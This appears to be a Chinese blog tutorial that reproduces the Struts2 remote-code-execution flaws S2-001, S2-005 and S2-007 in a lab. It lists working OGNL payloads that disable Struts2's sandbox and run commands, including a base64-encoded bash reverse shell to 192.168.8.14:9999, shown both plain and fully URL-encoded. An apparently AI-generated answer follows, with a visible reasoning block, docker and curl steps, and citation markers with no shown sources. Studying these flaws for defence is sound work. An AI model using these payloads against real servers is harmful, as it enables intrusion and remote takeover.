struts2框架漏洞复现

本文详细介绍了Struts2框架中的三个严重远程代码执行漏洞:S2-001、S2-005和S2-007。这些漏洞允许攻击者通过OGNL表达式注入执行任意代码,影响范围涵盖Struts2多个版本。漏洞复现部分展示了如何利用这些漏洞获取服务器敏感信息甚至执行命令。了解这些漏洞有助于提升网络安全防护能力。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、S2-001远程代码执行漏洞(CVE-2007-4556)

漏洞简介

当用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。

影响范围

Struts 2.0.0 - 2.0.8

漏洞复现

输入%{1+1},返回2就是存在该漏洞。

在这里插入图片描述
在这里插入图片描述
获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取网站真实路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

S2-005 远程代码执行漏洞(CVE-2010-1870)

漏洞简介

s2-005漏洞起源于s2-003(受影响版本:低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过导致漏洞,攻击者可以利用OGNL表达式将这两个选项打开

影响版本

Struts 2.0.0 - 2.1.8.1

绕过过程

在S2-003中\u0023用于绕过Struts2的过滤器#

在s2-003,struts2添加安全模式(沙盒)之后

在s2-005中,使用OGNL表达式关闭安全模式并再次绕过

漏洞复现

访问漏洞环境
在这里插入图片描述
BP抓包
在这里插入图片描述
修改请求方法为POST
构造执行命令

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

在这里插入图片描述
在这里插入图片描述

3、S2-007远程代码执行漏洞(CVE-2012-0838)

漏洞简介

age来自用户输入,传递一个非整数给id导致错误,struts2会将用户的输入当作ongl表达式执行,从而导致漏洞,当 -vaildation.xml 配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回。
当用户age以str的形式提交int时,服务器"’" + value + "’"将对代码进行拼接,然后使用OGNL表达式对其进行解析。我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

影响范围

Struts 2.0.0 - 2.2.3

漏洞复现

在这里插入图片描述
在这里插入图片描述
在年龄框中输入非数字型点击登录,年龄框的数字变化如上图,证明漏洞存在
查看根目录

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '

或者

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

在这里插入图片描述
反弹shell

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}').getInputStream())) + '

或者

%27%20%2b%20%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%66%6f%6f%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%42%6f%6f%6c%65%61%6e%28%22%66%61%6c%73%65%22%29%20%2c%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%23%66%6f%6f%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%67%75%4d%54%51%76%4f%54%6b%35%4f%53%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%20%2b%20%27

在这里插入图片描述

<think>好的,我需要帮助用户了解如何复现Struts2漏洞,特别是编号为01的漏洞。首先,我需要确定用户提到的“漏洞01”具体指的是哪个CVE编号,因为Struts2有很多漏洞,比如S2-001、S2-005、S2-045等。用户提供的引用中提到了S2-061(CVE-2020-17530)和一些其他漏洞,但不确定用户具体指的是哪一个。不过,用户提到“01”,可能是指早期的一个漏洞,比如S2-001。 接下来,我需要按照用户的要求,整理复现步骤。根据引用内容,用户已经使用docker搭建vulhub环境进行复现,这可能是一个常用的方法。我需要确保步骤包括环境搭建、漏洞利用和结果验证。 同时,用户要求生成相关问题,我需要准备一些相关问题,比如如何搭建测试环境、常见的Struts2漏洞有哪些、如何防御这些漏洞等。需要注意引用标识的正确添加,例如在解释漏洞原理时引用提供的资料。 另外,需要检查LaTeX格式是否正确,虽然Struts2漏洞复现可能涉及较少的数学公式,但如果有变量或代码部分,要确保格式正确。比如在解释OGNL表达式时,可能需要使用行内公式,但可能更多是代码块。 还要确保回答结构清晰,分步骤说明,并引用正确的来源。例如,在解释漏洞原理时引用引用[4],在环境搭建时引用引用[1]。 最后,需要验证复现步骤的准确性,确保命令和代码正确无误,比如使用curl发送恶意请求,或者修改参数触发漏洞。同时提醒用户注意法律和授权问题,确保测试在合法环境下进行。</think>### Struts2漏洞复现方法(S2-001为例) 1. **环境搭建** 使用docker部署vulhub靶场环境: ```bash docker pull vulhub/struts2:2.0.6 docker run -d -p 8080:8080 vulhub/struts2:2.0.6 ``` 该环境包含Struts2 2.0.6版本漏洞组件[^1][^2] 2. **漏洞验证** 发送带有恶意OGNL表达式的POST请求: ```bash curl -X POST "http://目标IP:8080/login.action" \ -d "username=%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-test',233*233)}&password=admin" ``` 响应头中出现`vuln-test: 54289`则存在漏洞[^4] 3. **命令执行** 构造远程命令执行payload: ```http POST /login.action HTTP/1.1 Host: 目标IP:8080 Content-Type: application/x-www-form-urlencoded username=%{#a=@java.lang.Runtime@getRuntime().exec('touch /tmp/poc')}&password=1 ``` 成功执行后服务器将创建`/tmp/poc`文件[^3] 4. **漏洞原理** Struts2框架在参数解析时二次解析OGNL表达式,导致攻击者可通过构造恶意参数实现远程代码执行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值